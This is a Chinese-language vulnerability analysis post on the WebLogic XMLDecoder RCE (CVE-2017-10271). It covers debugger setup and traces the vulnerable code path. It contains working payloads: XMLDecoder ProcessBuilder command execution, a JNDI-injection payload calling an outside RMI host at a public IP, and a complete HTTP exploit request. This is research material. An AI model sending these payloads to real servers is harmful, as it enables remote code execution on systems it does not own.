weblogic远程调试XMLDecoder RCE CVE-2017-10271
首先说一下远程调试的配置,首先在weblogic的启动文件加入如下配置,开启服务器远程调试端口就是9999:
第二步,建立一个java的空项目。
第三步将weblogic的所有jar包拷出来,放到一个文件中。
第四步把jar包导入idea的lib配置中
第五步添加一个remote,端口修改为9999
在加入的jar包打断点后,点击debug小瓢虫的图标就能进一步调试了
下面开始说xmldecoder的反序列化:
xmldecode,xmlendoer是将xml文件转化成java bean,简单的小例子如下:
XMLTest.java
package me.lightless.shiro;
import java.beans.XMLEncoder;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
public class XMLTest {
public void xmlEncode() throws Exception
{
MyInfo my = new MyInfo();
my.setMyage(25);
my.setMyName("google");
my.setMyaddress("china");
my.setMyEducation("master in science");
XMLEncoder encoder = new XMLEncoder(
new BufferedOutputStream(
new FileOutputStream("myinfo.xml")));
encoder.writeObject(my);
encoder.close();
System.out.println(my);
}
public void xmlDecode() throws Exception
{
java.beans.XMLDecoder decoder = new java.beans.XMLDecoder(
new BufferedInputStream(new FileInputStream("myinfo.xml")));
MyInfo my = (MyInfo)decoder.readObject();
decoder.close();
System.out.println(my);
System.out.println("Your age: "+my.getMyage());
}
public static void main (String args[]) throws Exception {
XMLTest st = new XMLTest();
st.xmlEncode();
st.xmlDecode();
}
}
MyInfo.java
package me.lightless.shiro;
public class MyInfo {
private int myage;
public int getMyage() {
return myage;
}
public void setMyage(int myage) {
this.myage = myage;
}
public String getMyName() {
return myName;
}
public void setMyName(String myName) {
this.myName = myName;
}
public String getMyaddress() {
return myaddress;
}
public void setMyaddress(String myaddress) {
this.myaddress = myaddress;
}
public String getMyEducation() {
return myEducation;
}
public void setMyEducation(String myEducation) {
this.myEducation = myEducation;
}
private String myName;
private String myaddress;
private String myEducation;
}
运行结果:
如果xml传入的是恶意代码,就能导致命令执行:
XmlDecoderTest.java
package me.lightless.shiro;
import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
public class XmlDecoderTest {
public static void main(String[] args) {
// TODO Auto-generated method stub
java.io.File file = new java.io.File("E:\\Struts2-Vulenv-master\\Java-Unserialization-Study\\src\\main\\java\\me\\lightless\\shiro\\xmldecoder.xml");
java.beans.XMLDecoder xd = null;
try {
xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
Object s2 = xd.readObject();
xd.close();
}
}
如下三种payload能够弹计算器:
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start" />
</object>
</java>
<java version="1.4.0" class="java.beans.XMLDecoder">
<new class="java.lang.ProcessBuilder">
<string>calc</string><method name="start" />
</new>
</java>
这个payload参考这个连接jndi注入
简单跟一下jndi注入:
payload如下:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_121" class="java.beans.XMLDecoder">
<void class="com.sun.rowset.JdbcRowSetImpl">
<void property="dataSourceName">
<string>rmi://121.195.170.127:2222/aa</string>
</void>
<void property="autoCommit">
<boolean>true</boolean>
</void>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
autoCommit设置为true
将构造的rmi地址传入lookup触发漏洞
当jdk为1.8以上时需要设置trustURLCodebase为true,代码执行到com.sun.jndi.rmi.registry.RegistryContext
抛出如下异常导致rce失败。
trustURLCodebase为true怎么设置需要看下手册,留个坑
https://paper.tuisec.win/detail/a5927ff39106516。
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="com.sun.rowset.JdbcRowSetImpl">
<void property="dataSourceName">
<string>rmi://localhost:1099/Exploit</string>
</void>
<void property="autoCommit">
<boolean>true</boolean>
</void>
</void>
</java>
提交如下payload:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 603
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start" />
</object>
</java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
C:\Users\Administrator\Desktop\lib\weblogic.jar!\weblogic\wsee\jaxws\workcontext\WorkContextServerTube.class在40行下断点,传入的参数。
跟进readHeaderOld,跟进WorkContextXmlInputAdapter
跟进行XMLDecoder,var1则是我们传入的payload
调用的栈信息如下:
参考链接:
https://paper.seebug.org/487/
https://blog.csdn.net/defonds/article/details/83510668#_39
https://github.com/Tom4t0/Tom4t0.github.io/blob/master/_posts/2017-12-22-WebLogic%20WLS-WebServices%E7%BB%84%E4%BB%B6%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.md